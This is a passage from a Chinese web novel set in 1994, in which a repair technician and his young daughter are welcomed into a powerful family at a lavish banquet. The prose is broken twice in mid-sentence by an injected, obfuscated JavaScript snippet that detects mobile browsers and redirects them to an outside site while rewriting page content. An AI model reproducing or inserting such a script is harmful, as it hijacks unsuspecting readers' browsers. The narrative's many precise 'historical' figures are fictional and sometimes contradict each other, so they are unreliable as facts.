1994年时市值已超10万元,相当于普通职工近20年的工资总和。而这种座次安排,绝非单纯的礼仪讲究,每把椅子的位置、与主位的距离,都无声映射着苏家成员在家族中的身份权重与权责分工。 座次里的家族秩序:1994年的身份与时代责任 苏老太爷苏定方端坐主位,身下那把酸枝木太师椅的扶手已被岁月摩挲得泛出琥珀般的温润光泽。 椅背上暗刻的“万字纹”里,藏着一组细微的“**专属”工艺标识—— 1980年代他任职领导时,北京木器厂特意按“部长级以上家具标准”定制,全国同规格的椅子仅七把,如今另外六把分别在三位老同事、两位老部下家中, 这把椅子不仅是家具,更是苏家“功勋传承”的具象象征。 老太爷左手边,姥姥秦淑慧抱着刚满四岁的笑笑,孩子坐的儿童椅是小舅苏瑾瑜托上海“虹桥涉外家具厂”定制的—— 这家工厂1992年才成立,主打为外籍家庭和**家庭提供定制家具,1994年全年仅生产了120把儿童人体工学椅。 椅面采用1994年最新的“S型脊柱贴合设计”,能根据幼儿坐姿自动调整弧度,椅脚包裹着三层新西兰进口羊毛静音垫,即便孩子在席间扭动,也不会发出半点声响。 当时北京普通家庭的儿童椅多是街边木匠铺做的木质硬椅,带静音垫的定制款,仅在外交部幼儿园、北京国际学校等少数场所可见。 圆桌其余位置严格遵循“长幼+权责”双重排序,每个座位的安排都暗藏深意,且与1994年的时代背景紧密交织: 大舅苏瑾华与大舅妈李芸(主位右手第一顺位): 苏瑾华时任华北军区领导,1994年华北军区正推进“后勤标准化改革”—— 此前部队食堂曾因食材来源不透明出现过两次卫生问题,他牵头的“食材溯源体系”刚在石家庄、保定等5个军分区试点成功, 将食材合格率从89%提升至100%,因此入座时还下意识问了句“张厨,鳜鱼的检疫证明留着吗”。 大舅妈李芸出身总政文工团,1990年代初文工团开始市场化转型,不再完全依赖部队拨款,她正筹备“军**欢五一晚会”,已拉到北京卷烟厂、北京啤酒厂共15万元赞助, 随身的黑色手包里还装着用铅笔修改的节目单草稿,其中“军旅歌曲联唱”的节目旁,标注着“需协调战士演员彩排时间”。 二舅苏瑾国与二舅妈周婉茹(主位右手第二顺位): 苏瑾国时任燕京**领导,1994年北京正筹备第四届全国城市运动会—— 这是北京继1990年亚运会后承办的又一大型赛事,需新建或改造12个体育场馆,他每天要开3场场馆建设协调会,重点解决建材供应和工期问题, 席间指尖无意识轻点桌面的动作,正是他在会议上听汇报、想方案时的标志性习惯。 二舅妈周婉茹是北大中文系副教授,当时正主持“明清家族宴席文化”课题研究,已在《文学遗产》期刊发表2篇相关论文,看到桌上的红烧肉时,还轻声和身边的老公说: “这火候和袁枚《随园食单》里写的‘文火慢炖六时辰,肉酥而不烂’刚好对上,比我上次在故宫博物院看的清代宴席复原菜还讲究。” 大姑奶奶苏振英与小姑奶奶苏静婉(圆桌两侧): 大姑奶奶苏振英在中央**部负责港澳台事务,1994年正值两岸交流升温—— 当年3月刚举办“海峡两岸经贸洽谈会”,她刚从福建厦门调研回来,包里装着台湾“统一企业”负责人赠送的凤梨酥,这种包装印着“两岸同心”字样的凤梨酥, 1994年在大陆还未上市,仅作为台商交流礼品流通。小姑奶奶苏静婉是同济医院副院长,当时医院儿科正面临春季流感高发期,日均门诊量突破2000人次, 比平时增加了60%,她特意带了医院自制的“儿童消食片”,放在笑笑的餐具旁—— 这款消食片是按明代《本草纲目》记载的“麦芽山楂方”改良,不含西药成分,1994年在同济医院儿科的使用率达90%,深受家长认可。 林凡(靠近过道位置): 这个座位看似“边缘”,实则是照顾笑笑的最佳位置—— 起身递餐具、去厨房拿辅食都无需绕开他人,且能随时观察孩子的状态。 更关键的是,林凡被特意安排在小舅苏瑾瑜旁边,而苏瑾瑜掌舵的苏家集团,1994年营收已突破2亿元,根据北京市工商局公布的数据, 当年北京市民营企业总数约1.2万家,总营收约667亿元,苏家集团的营收占比达0.3%,在民营制造业中排名前50,是苏家年轻一代中掌握经济命脉的核心。 这种邻座安排,在讲究“亲疏远近”的世家宴席中,等同于向所有人宣告“林凡已被纳入家族核心圈”—— 1994年时,苏家还从未让“外人”(非苏家血缘成员)与家族核心成员邻座,这一细节让席间不少人悄悄打量林凡,眼神里多了几分认可。 菜肴里的极致讲究:1994年的稀缺资源与用心 桌上的菜肴没有猎奇的山珍海味,却处处透着“非寻常家庭可及”的精细。每一道菜的食材、制作、调味, 都深深烙着1994年的时代印记,背后是普通人难以触及的资源与不计成本的用心: 松鼠鳜鱼:跨越千里的鲜活与匠心 这道菜的食材是李芸托民航系统旧友订的千岛湖活水鳜鱼。 1994年国内鲜活水产空运尚属稀缺——当时民航货运以干货、文件为主,鲜活水产因需要恒温箱、氧气供应,运输成本极高,且仅北京、上海、广州等少数城市的机场能承接。 从千岛湖机场到北京南苑机场的早班货机,全程需4小时,仅运费就要200元,而1994年北京普通职工的月平均工资约400元,这一笔运费相当于半个月工资。 鱼运到四合院时,还装在特制的有氧水箱里,成活率达100%—— 当时鲜活水产空运的成活率普遍不足80%,李芸的朋友特意安排了专人在千岛湖机场打包,全程盯着装卸,才保证了鳜鱼的鲜活。 处理鳜鱼的是曾在钓鱼台国宴厅掌勺十年的张厨。这位张厨1980年代曾参与接待英国女王伊丽莎白二世、美国总统里根的国宴,最擅长“去刺留型”的绝技—— 能在不破坏鱼身“松鼠造型”的前提下,剔除所有细刺,包括贴近鱼骨的小刺,确保老人和孩子吃的时候无需担心卡喉。 1994年时,张厨已退休在家,北京饭店、长城饭店想请他上门做菜,单次服务费就要500元,还需提前一个月预约,苏家能请到他, 是因为苏老太爷1980年代曾帮过他家人的忙,这份人情让张厨每年都会来苏家做几次菜。 更贴心的是调味:秦淑慧知道老太爷有糖尿病,怕甜;笑笑年纪小,太甜的口味也不适应,特意让张厨调整了浇汁配方—— 将传统松鼠鳜鱼的“七分甜”降到“三分甜”,用少量蜂蜜替代白糖,既保留了甜味的层次感,又不会让血糖波动。 张厨试做了三次,才确定最终的配方,席间老太爷尝了一口,难得点头说:“这个甜度刚好,不齁嗓子。” 红烧肉:时光沉淀的秘方与标准 红烧肉选用的是北京南郊国营农场的黑毛猪五花。 1994年北京市场上普通猪肉价格约4元/斤,这种黑毛猪是农场引进的英国“巴克夏猪”品种,生长周期是普通白猪的2倍,肉质更紧实,五花三层的比例更均匀, 价格要12元/斤,且需提前一周预订——农场每月仅出栏50头黑毛猪,多供给机关单位和高端餐厅,个人很难买到。 周婉茹为了这道菜,提前10天就托人订了5斤,特意嘱咐要“肋条部位的五花”,这个部位的脂肪分布最均匀,炖出来口感最好。 炖肉的秘方更是藏着时光的味道:周婉茹用的是家传的“三层调味法”,除了常规的酱油、冰糖,还加了三年陈陈皮—— 这陈皮是她姥姥(清末清宫御厨刘怀安的徒弟)留下的,用陶缸密封保存了几十年,表皮已呈深褐色,闻起来有浓郁的药香。 1994年潘家园古玩市场刚形成规模,有专门收“老食材”的摊位,这种年份的陈皮已能卖到100元/两, 相当于普通职工半个月的工资,周婉茹每次炖肉只舍得放3克,说“放多了会抢肉的香味”。 张厨炖肉时更是严格到“用数据说话”:他用砂锅慢炖六小时,期间每隔一小时就用筷子戳一下肉的软烂度,最后还用量杯测了油脂含量—— 刚好降到35%。这个数据是周婉茹特意要求的,既符合“不腻口”的标准,又能锁住肉香,不会让肉质变柴。 1994年时,普通家庭炖肉全凭经验,很少会做油脂检测,张厨这套“标准化操作”,让二舅苏瑾国笑着说:“你这炖肉比我们开会制定标准还严格。” 清炒鸡毛菜:平凡中的极致新鲜 这道菜看似普通,却是苏家后院有机菜圃刚摘的。 1994年“有机蔬菜”的概念还未在国内普及,大多数人甚至没听过这个词,苏家的菜圃是1992年请中国农科院蔬菜花卉研究所的专家指导建设的, 面积约20平方米,只种应季绿叶菜和番茄、黄瓜等蔬菜。 种植时不施化肥、农药,仅用芝麻酱、黄豆发酵的有机肥,连浇水都用过滤后的雨水——专家说这样能避免自来水含有的氯影响蔬菜口感。 张厨对这道菜的“新鲜度”要求到了极致: 他说绿叶菜采摘后每多放一小时,维生素C就会流失15%,因此特意让菜圃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718069|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的师傅在开席前2小时40分钟采摘鸡毛菜,采摘后立即用冰袋包裹, 送到厨房后快速清洗、清炒,从采摘到上桌仅用了2小时40分钟,维生素C流失率低于5%。 而1994年北京菜市场的绿叶菜,大多是从河北固安、山东寿光等地运来,从产地采摘到运到摊位,至少要12小时,期间没有恒温保存,维生素C流失率超过40%,口感也会变差。 席间苏静婉尝了一口,说: “这菜比我们医院食堂的青菜新鲜多了,吃着有股清甜的味道。” 细节里的温情:1994年的育儿方式与家族认可 家宴的温情不藏在华丽的辞藻里,而藏在无数细碎的细节中。 这些细节既透着1994年的时代特色,也藏着苏家对林凡这位“外人”的接纳与认可,每一个小物件、每一句对话,都在悄悄传递着家族的温度: 笑笑的“专属装备”:1994年的精细化育儿 秦淑慧给笑笑用的纯银儿童餐具,是苏静婉特意从上海老凤祥定制的,一套包含小碗、小勺子、小叉子,总重约100克,价格800元。 苏静婉怕纯银餐具含铅,还特意拿到同济医院检验科做了“抑菌检测”,确认不含重金属、抑菌率达99%才给笑笑用—— 1994年普通家庭多用水晶碗或搪瓷碗,纯银餐具因价格昂贵,仅在**家庭或富裕的个体户家庭中使用,不少人甚至觉得“用银碗吃饭是浪费”。 笑笑手里的Montessori(蒙氏)小勺子,是苏瑾瑜1993年去美国考察时从纽约一家蒙氏教育用品店买的,当时国内还没有“蒙氏教育”的概念, 幼儿园大多是“集体化教学”,很少关注孩子的“精细动作训练”。 这把勺子的手柄设计成粗圆型,刚好适合两岁孩子的小手抓握,勺头边缘是圆润的弧度,不会划伤孩子的嘴巴。 1994年北京友谊商店(当时的涉外超市)也有类似的进口餐具卖,售价60元,而林凡开的“笑笑宝贝屋”童装店,每件童装的利润约5元, 这把勺子的价格相当于他3天的利润总和,林凡看到时,悄悄在心里对自己说:“笑笑小舅也太用心了,这勺子我都没见过。” 孩子胸前的防水围兜,用的是北京第三印染厂生产的医用级防水布。 这种布料原本用于制作手术衣,不含荧光剂,耐洗且柔软,即使反复清洗50次也不会变硬,每米价格18元,是普通防水布(6元/米)的3倍。秦淑慧说: “孩子皮肤嫩,普通防水布含甲醛,我特意托人买了这种医用布,找裁缝做了三个围兜,换着用。” 1994年时,多数家庭给孩子用的是塑料围兜,又硬又不透气,孩子戴着容易哭闹,笑笑却愿意戴这个医用布围兜,因为“软乎乎的不硌脖子”。 林凡的“身份确认”:数据里的认可与接纳 苏瑾瑜是第一个“公开认可”林凡的人。 他适时提起去年去小县城看望林凡父女的经历,话里藏着具体的数据与细节,让所有人都知道林凡的能力: “去年我去林凡的店,发现他的‘笑笑宝贝屋’是小县城里少有的‘精品童装店’,当时县城里有12家童装店,大多卖的是散装的便宜货,就他的店卖品牌童装,还做了会员体系。 他每月盘点两次,滞销童装控制在5%以内,而当时县城童装店的滞销率普遍在15%以上,有的甚至到25%,压了一堆货卖不出去。” 这番话让大舅苏瑾华忍不住看了林凡一眼,点头说:“能把滞销率控制这么低,说明你会做生意,懂市场。” 苏瑾瑜还提到了林凡的“精细化育儿”: “我上次去,看到林凡给笑笑做辅食,记了满满一个32开的本子,里面详细记录了‘每顿辅食的蛋白质、钙含量’,比如今天吃了多少蛋黄、多少米粉,算出来钙含量够不够。 1994年小县城里很少有人这么做,大多是‘有啥吃啥’,林凡这份细心,比不少大城市的家长都强。” 这番话既夸了林凡对孩子的用心,也暗示他“符合苏家的做事风格”——苏家向来注重“细节与标准”,林凡的这种习惯,刚好与家族文化契合。 大舅的“一杯酒”与姥爷的“沉默信号”:老一辈的最终认可 苏瑾华给林凡斟的酒,是1994年茅台厂为纪念建厂50周年推出的“年份预标款”。 这款酒是茅台厂首次推出“预标年份”的产品,仅生产了2000瓶,瓶身印有“1994年纪念建厂50周年”的烫金字样,当时售价800元/瓶,相当于普通职工2个月的工资。 苏瑾华通过部队后勤系统才拿到两瓶,一瓶自己留着,一瓶特意带来家宴。 他给林凡斟了小半杯,举杯说:“林凡,欢迎回家。” 这句话分量极重—— 1994年部队系统等级森严,苏瑾华作为副司令,很少对“外人”说“回家”这种亲近的话,这句话等同于苏家老一辈核心对林凡“家族成员身份”的正式认可,林凡起身举杯时,手都有点微微发抖。 一直沉稳吃饭的姥爷苏振邦(时任军部装备部部长)突然放下筷子,这个动作让席间瞬间安静下来。 第91章:苏式家族成员之一 1994年4月15日傍晚,燕京军区大院的晚风还带着料峭春寒,苏宅宴会厅里却已暖意融融。 墙上挂着的石英钟指向18点30分,秒针滴答声里,姥爷苏振邦(时任军部装备部部长)刚结束一场关于新型装甲车验收的紧急会议,深蓝色军装袖口还沾着些许郊外靶场的尘土。 他没有立刻说话,而是目光缓缓扫过在座的每一位家人—— 苏老太爷苏定方手上的紫砂茶杯还飘着龙井茶香,杯沿的老茧是抗战时期握**留下的; 二舅妈周婉茹刚把一块剔去鱼刺的鲈鱼放进笑笑碗里,袖口别着的碎花手帕是1993年上海纺织品展销会买的限量款—— 最后,他的目光定格在林凡和笑笑的脸上。 那目光里,有历经抗美援朝、边境冲突后的沧桑通透,有看着女儿小时候及长大后的慈爱,更有执掌苏家三十余年沉淀的一家之主的沉稳。 “今天这顿饭,吃得好。” 苏振邦的声音不高,却带着常年在军部指挥作战的天然威严,穿透力极强。 1994年的军区大院里,干部家庭的聚餐从无喧哗,可这话一出口,整个宴会厅还是瞬间静得能听见水晶吊灯上垂坠的玻璃珠轻微碰撞声—— 连刚咬了一口糖醋排骨的笑笑都停下动作,眨着大眼睛,好奇地望着这位平时总在书房看**的姥爷。 他先是转向坐在主位的苏老太爷,微微颔首,指节分明的手轻轻碰了碰老太爷的茶杯: “爸,您去年冬天总念叨想让孩子们常回来,如今这一大家子齐齐整整坐在一起,比您珍藏的1953年茅台还让我心里踏实。” 老太爷闻言,布满皱纹的手抚过笑笑的头顶,那双手曾在1948年的战壕里给伤员包扎,此刻却温柔得能接住孩子掉落的饭粒。 接着,苏振邦的目光转向林凡,身体微微前倾,语气比刚才郑重了三分—— 林凡注意到,姥爷的军装上还别着1992年全军装备建设先进个人的徽章,金属光泽在暖光下格外明亮:“林凡,刚才瑾华说你辛苦了,这是实话。 我上周去装备部下属的修理厂考察,还听人提起,你去年冬天为了修一台故障雷达,在零下15度的车间里熬了三个通宵,连年夜饭都是啃的冷馒头。 但作为晚晴的父亲,作为笑笑的姥爷,我更想对你说一声‘谢谢’。” “谢谢你,在晚晴1991年那场大病(当时急性心肌炎住院三个月,差点没挺过来)最艰难的时候,辞掉国营厂的铁饭碗,白天打三份零工凑医药费,晚上在病床前守着; 谢谢你,在她身体没恢复好、没法工作的时候,用你那点修电器的手艺挣的钱,给笑笑买1993年刚引进的‘娃哈哈AD钙奶’,还把租的小单间收拾得比军区家属楼还干净—— 你用单薄的肩膀,为我的外孙女撑起了一个家。这份情义,这份担当,苏家记在心里,比记我当年缴获的敌军望远镜还清楚。” 苏振邦的话语清晰而有力,每一个字都像他平时部署任务那样掷地有声,敲在众人的心坎上。坐在林凡身边的小舅子,指尖悄悄攥住了他的手—— 他想起姐姐说的,1992年林凡带笑笑去动物园,为了省下门票钱,自己在门外等了三个小时,只买了一根冰棍给孩子;想起他把唯一的鸡蛋羹全喂给笑笑,说自己“不爱吃鸡蛋”。 “晚晴当初非要嫁给你,我们这些做长辈的,不是没意见。 1990年那会儿,谁不盼着孩子找个门当户对的——瑾华娶的是军区政委的女儿,瑾国的爱人是市教育局的干部, 你当时只是个国营厂的维修技工,连套像样的房子都没有。 我们不解,甚至痛心,觉得晚晴是自找苦吃。 但今天看到你,看到笑笑把掉在桌上的米粒捡起来放进自己碗里(怕浪费粮食),看到她主动给太爷爷捶背、还知道用小拳头避开太爷爷的老腰,我明白了。 晚晴看中的,不是家世背景,不是有没有‘三大件’(1994年结婚热门的冰箱、彩电、洗衣机),而是一个人最宝贵的品质——责任和真心。” 他停顿片刻,端起面前的白瓷酒杯(杯身上印着“八一”军徽,是1990年部队建军节的纪念品),缓缓站了起来。 这个动作让在座的所有人都不由自主地端正了坐姿——苏瑾华是军级干部,平时在部队里习惯了挺直腰板,此刻却坐得更直; 苏静婉是上海市同济医院副院长,平时见惯了大风大浪,此刻也放下了手中的汤匙。 “过去的事,就让它像1993年夏天的洪水那样,过去了就不再提。从今天起,这里就是你的家。” “我们苏家,在外人看来,是有点门第—— 你可能也听说过,去年有个企业家想托关系找我批装备零件,提着一筐人参来,我让警卫员原封不动送回去了。 我们是有规矩,比如吃饭不能吧唧嘴、长辈没动筷晚辈不能先吃,但对自家人,最看重的永远是人品和真心。 你知道吗? 上个月军区家属院评选‘五好家庭’,有户人家因为丈夫不孝顺老人,就算家里有两台彩电,也没评上。 你为这个家,补上了最重要的一块—— 晚晴和笑笑缺的那份安稳,苏家缺的那份烟火气。 这杯酒,我敬你,欢迎你,我的孩子,回家。” 苏振邦这番话,语调沉稳,没有多余的煽情,却比任何豪言壮语都真挚。 林凡闻言,立刻再次起身,双手紧紧捧着酒杯—— 那酒杯是他第一次来苏家时用的,当时他紧张得差点把酒杯摔了—— 深深鞠躬,声音带着一丝不易察觉的哽咽:“爸……谢谢您。 我一定不会辜负您的期望,不会辜负晚晴,更会竭尽全力,让笑笑每天都能像今天这样开心。” “叮——” 酒杯碰撞的清脆声响里,晚宴的气氛像烧到了沸点。 笑笑成了绝对的焦点。 她指着盘子里的豌豆,小眉头皱着,像个小大人似的问: “爸爸,这是豆科植物的种子对不对? 你上次给我看的《儿童植物图鉴》(1992年中国少年儿童出版社出版,当时全国发行量不足5万册)里写过!” 在座的人都笑了,苏老太爷更是笑得眼睛眯成了缝,把自己咬过一口的馒头瓣递给她—— 那馒头是家里保姆用老面发的,比外面粮店买的白面馒头更有嚼劲。 笑笑接过,又踮着脚递给周婉茹: “二舅妈,你昨天说肚子不舒服,这个馒头是全麦的,膳食纤维含量高,您多吃点,爸爸说膳食纤维能帮肚子‘工作’。” 1994年,大部分人还只知道“吃饱”,很少关注“吃好”,笑笑的话让周婉茹愣了愣,随即接过馒头,眼眶有点红—— 她确实因为工作忙,经常便秘,昨天只是随口跟苏晚晴提了一句,没想到孩子记在了心里。 这孩子, 不仅继承了母亲苏晚晴的杏眼和高鼻梁,还透着一股超越年龄的敏锐—— 比如她会数餐桌上有多少块红烧肉,说“每人三块,不多不少”; 会看姥爷的军装徽章,问 “这是不是代表姥爷很厉害”—— 这分明是林凡平时带她时,潜移默化的“数据分析”思维:林凡修电器时,总喜欢跟笑笑说“先数清楚有多少个零件,再找问题”; 给她讲故事时,会让她“数清楚有几只小动物”。 家宴尾声,保姆张婶推着一个三层高的奶油蛋糕进来,蛋糕上的裱花用的是当时稀罕的进口奶油—— 1994年,国内奶油产量低,进口奶油要凭外汇券才能买到,苏家为了这个蛋糕,专门托人从友谊商店订的。 最精致的是蛋糕表面,用黑巧克力写着“欢迎回家”四个苍劲有力的大字,苏老太爷看了,笑着说:“这字仿得还挺像,我年轻时候在部队写标语,比这还刚劲。” 秦淑慧(苏振邦的妻子)笑着站起来,手里拿着一块刚切好的蛋糕,声音里满是欢喜: “虽然不是生日,但今天比任何生日都重要——1991年晚晴生病,笑笑才一岁多,跟着林凡在出租屋里过的年; 1992年林凡下岗,一家人连顿像样的年夜饭都没吃。现在好了,是我们苏家的宝贝笑笑正式回家的日子,也是林凡这个好女婿回家的日子!” 有人点上了四根小蜡烛——对应笑笑四岁的年纪,1994年市面上还没有生日蜡烛套装,这几根还是苏静婉从医院药房拿的医用石蜡蜡烛,点燃后,暖黄的光映着每个人的笑脸。 大家拍着手,即兴唱起了改编的《欢迎曲》——调子是当时流行的《歌唱祖国》的片段,歌词改成了“欢迎笑笑回家来,欢迎林凡入家来”。 笑笑坐在秦淑慧怀里,大眼睛亮晶晶地盯着跳动的烛火,小手还在数蜡烛:“1、2、3……4,正好四根!” 在众人的鼓励下,她鼓起小腮帮,像做实验一样左右调整角度(平时林凡教她叠纸飞机时,总让她调整角度找风向),用力一吹—— 蜡烛全灭了,满堂的掌声与笑声交织在一起,比当时大院里放的电影散场时的喧哗还热闹。 这一刻,宴会厅的水晶吊灯是上海灯具厂1993年生产的“明珠系列”,光线是柔和的暖光(当时还没有“3000K色温”的说法,大家只说“像晒太阳一样舒服”); 笑声是发自肺腑的——苏瑾华平时在部队严肃惯了,此刻却笑得露出了牙;亲情是浓得化不开的—— 苏静婉把剥好的橘子瓣塞进笑笑嘴里,说“这是南方刚运过来的蜜橘,比北方的冻梨甜”。 林凡望着眼前的一切,鼻尖忽然有些发酸。 那种不真实感像裹着天鹅绒的暖流,一点点漫过心口—— 他想起1993年冬天,笑笑发烧到39度,他没钱打车,抱着孩子在雪地里走了两站地,到儿童医院时,孩子的小脸都冻红了; 想起他下岗后,去劳务市场找活干,有人嫌他“没背景、没文化”,把他的工具箱都打翻了。 他曾以为,苏家这样盘根错节于华夏顶层的家族,于他而言是遥不可及的云端——他以为他们之间隔着无法逾越的鸿沟: 财富上,不能匹配;权力上,苏家能轻松解决孩子上学、看病的问题,他为了笑笑上幼儿园,跑了五家单位才找到名额; 社交圈层上,苏家来往的都是干部、医生、教师,他认识的只有修理厂的工友。 却没想到,此刻他们正用最朴实无华却又极致讲究的方式,向他敞开了怀抱—— 秦淑慧给他缝了一件新的中山装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718070|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (用的是北京绸布厂1994年的新面料),说“以后见长辈要穿得整齐点”; 苏老太爷把自己戴了几十年的老怀表送给笑笑,说“这表走得准,以后让孩子学会守时”。 笑笑的乖巧可爱与聪慧,是打开这扇沉重门扉最有效的钥匙—— 她会记得每个长辈的喜好(知道太爷爷爱喝龙井,二舅妈爱啃猪蹄),会用稚嫩的语言化解尴尬(上次苏瑾国批评林凡“不会用公筷”,笑笑说“爸爸下次会记得的,我监督他”); 而他自己的坚韧、细致(每天给笑笑记生长发育日记,身高体重都标得清清楚楚,符合1994年WHO儿童生长标准) 担当以及对女儿毫无保留的爱,尤其是姥爷苏振邦那番掷地有声的发言,彻底奠定了他在这个家族中被尊重和接纳的地位。 这种尊重,不是源于他有没有钱、有没有权,而是源于他作为一个父亲和丈夫的人格力量; 就像苏振邦说的“在部队,我们看的是能不能扛枪打仗;在家里,我们看的是能不能扛事、能不能爱人”。 晚宴散去时,已经是晚上10点多。 各位长辈离开前,都忍不住又抱了抱笑笑,叮嘱的话语也更具象化了。 苏瑾华拍了拍林凡的肩膀,从口袋里掏出一张纸条,上面写着副官的BP机号码(1994年手机还不普及,团级干部才配有BP机): “以后常带孩子回大院,军区的儿童乐园上个月刚翻新完,设施都是按军工标准做的——滑梯的护栏间距小于8厘米,防止孩子卡手; 地面铺的是橡胶垫,比市面上的水泥地安全多了。上次市里的游乐园还出了滑梯断裂的事故(1994年3月,燕京某游乐园滑梯因材质不合格断裂,导致两名儿童受伤),我们这的安全标准比市面上高30%,你放心。” 苏瑾国递过一张铜版纸名片,上面只有他的姓名和办公电话,没有任何头衔: “市里下个月要出台新的义务教育政策(1994年《中国教育改革和发展纲要》刚实施,各地正在制定细则),笑笑明年上小学,需要了解政策或者找学校,打这个电话找李秘书。 还有,你要是遇到什么棘手的事,比如被人刁难,也可以找他,别自己扛着。” 苏静婉从包里拿出一本《儿童健康手册》(1994年卫生部印发,全国统一版本),在上面写了笑笑的出生日期和过敏史: “笑笑的生长发育数据,你每个月记一次,定期发给我——身高要是低于同年龄儿童平均水平(1994年8岁女童平均身高128厘米),咱们就及时调理。 衣服尺码小了,直接告诉品牌顾问,是我朋友开的童装店,他们会按笑笑的尺寸定制,比商场买的合身。” 最后走的是苏瑾瑜,他用力拍了拍林凡的肩膀,眼中满是欣慰的笑意: “看吧,我早就说过,真诚和努力比任何背景都更有力量。爸今天的话,就是最好的定心丸,以后有我们在,没人敢欺负你们父女俩。都会好的。” 林凡抱着已经昏昏欲睡的笑笑站在庭院里,小家伙的小脑袋靠在他肩头,呼吸均匀,带着淡淡的奶香(喝的是当时刚上市的“伊利纯牛奶”,林凡平时舍不得喝,都留给孩子)。 夜风吹过,带着西府海棠的清香——这棵海棠是苏老太爷1950年种的,每年4月中旬都开花,花瓣落在林凡的肩膀上,像粉色的小蝴蝶。 庭院里的地灯是军用剩余物资改造的,暖光将他们的影子拉得很长,一直延伸到门口的老槐树下。 燕京的秋夜(1994年4月中旬,燕京还带着春寒,当地人习惯叫“倒春寒”)有些微凉,可林凡的心却像揣着个暖炉,滚烫滚烫的。 他知道,这场家宴不仅是对笑笑的欢迎,姥爷苏振邦那番情真意切、分量千钧的发言,更是对他林凡身份的最终确认—— 一种来自家族核心长辈的最高规格的认可,比部队里的军功章还让他觉得踏实。 从今夜起,他和笑笑不再是漂泊的旅人—— 不再是那个在出租屋里数着硬币过日子的父女,不再是那个去医院不敢挂专家号的家庭。 他们真正成为了这个庞大而显赫家族的一部分,尽管未来的路仍需一步步踏实走下去——比如笑笑明年上小学,他要陪着孩子适应新环境; 比如他想自己开一家电器维修店,苏家已经帮他找好了门面。 未来的路或许仍有风雨—— 比如有人会说他“攀高枝”,比如他还要更努力才能跟上苏家的节奏。 但此刻,他望着夜空中的点点繁星(1994年燕京的空气质量比现在好,能清楚看到北斗七星),忽然觉得前所未有的安心。 因为他知道,无论世界如何变幻,一个名为“家”的最温暖、最坚实的港湾,终于在他们面前,清晰地展开了怀抱。 这个港湾,不仅有爱—— 有秦淑慧缝的中山装,有苏老太爷的老怀表;还有理解—— 理解他过去的艰难,理解他现在的努力; 更有尊重——尊重他的人格,尊重他的付出。 而这一切的起点,都是姥爷苏振邦那句“这里就是你的家”—— 那句话像一道光,照亮了他和笑笑曾经灰暗的路,更带来了足以支撑他们走下去的磅礴力量。 第92章:时光里的温软日常 暮春的傍晚,夕阳像被揉碎的金箔,斜斜铺在燕京西山上,把苏家大院那片有六十余年历史的青砖灰瓦染得暖融融的。 这些青砖是当年燕京老字号“万顺成”烧制的清水砖——这家始建于清光绪二十年(1894年)的砖窑,在《燕京营造录》卷三“窑作篇”中有着详实记载: “万顺成窑取永定河底胶泥,三揉三晾,柴烧百日,砖质坚密如石,叩之有声如磬”。 清末京西半数王府的清水砖均出自此处,除了恭亲王府后罩楼、醇亲王府银安殿的墙面,就连颐和园排云殿西侧配殿的地基,至今仍能看到砖面“万顺成记”的暗款。 其手工烧制的清水砖,原料需深挖永定河河床下3米深的黏土,这种黏土含沙量仅8%,黏性远超普通黄土; “三揉三晾”工序更是讲究:第一次揉泥要掺入10%的陈年草木灰增加韧性,第一次晾晒需在通风的竹棚内阴干7天,期间还要每日翻动两次避免开裂,反复三次后才能入窑。 砖面自然形成的冰裂纹如同冻湖初融的纹路,摸上去有0.2毫米左右的细微凹凸感,像触摸存放了五十年的宣纸纤维纹理,凑近看还能发现裂纹里嵌着淡灰色的细小窑灰—— 那是松木柴烧窑时,窑壁脱落的细屑与砖面融合的印记,如今在恭亲王府保存的同期青砖上,也能看到一模一样的痕迹。 砖缝里嵌着去年秋天的狗尾草,枯草茎秆被夕阳镀上一层琥珀色的金芒,穗子上还沾着几星晨露晒干后的白痕,那白痕是晨露中的碳酸钙与硅元素凝结而成, 用指尖捻起时会簌簌掉碎末,碎末落在青石板上,轻得连庭院里的油葫芦蛐蛐都察觉不到; 瓦檐下悬着的铜铃是民国二十五年(1936年)北平“同和兴”铜器铺的出品,这家铺子当年以铸铜钟闻名,京西潭柘寺观音殿的十六只小型铜铃便出自其手, 现存的潭柘寺铜铃经文物专家检测,含铜量达92%,与苏家铜铃成分完全一致。铃身刻着缠枝莲细纹,只是八十余年过去,纹路已淡成浅痕, 需迎着西晒的阳光才能看清花瓣边缘的卷草纹,铃舌是磨得发亮的紫铜,表面包浆温润如蜜蜡,风过时(那风是带着西山潮气的东南风,途经山脚下的樱桃园时,还沾了些未散尽的樱桃果香—— 当地果农说,暮春的樱桃果香最淡,要凑到枝头才能闻见,风却能把这香气带出去半里地)偶尔晃一下,铃音轻得像天鹅绒羽毛拂过心尖,混着晚风吹过紫藤叶的“沙沙”声—— 那声音是叶片边缘0.5毫米宽的锯齿相互摩擦产生的,细碎而规律,每秒钟约响十次——落在铺着青石板的庭院里,连空气都慢得像老茶里沉底的茶叶,要许久才肯动一下。 庭院中央的锦鲤池约莫十二三平米,抵得上半间卧室大小,池壁砌着产自房山周口店的青石板——当地的石板因富含30%以上的石英、15%的长石,质地密实耐潮湿, 抗压强度达15MPa,相当于每平方厘米能承受15公斤的重量,明清时便是皇家园林砌池的首选材料。颐和园谐趣园的鱼藻池用的就是同款石板,2010年修缮时, 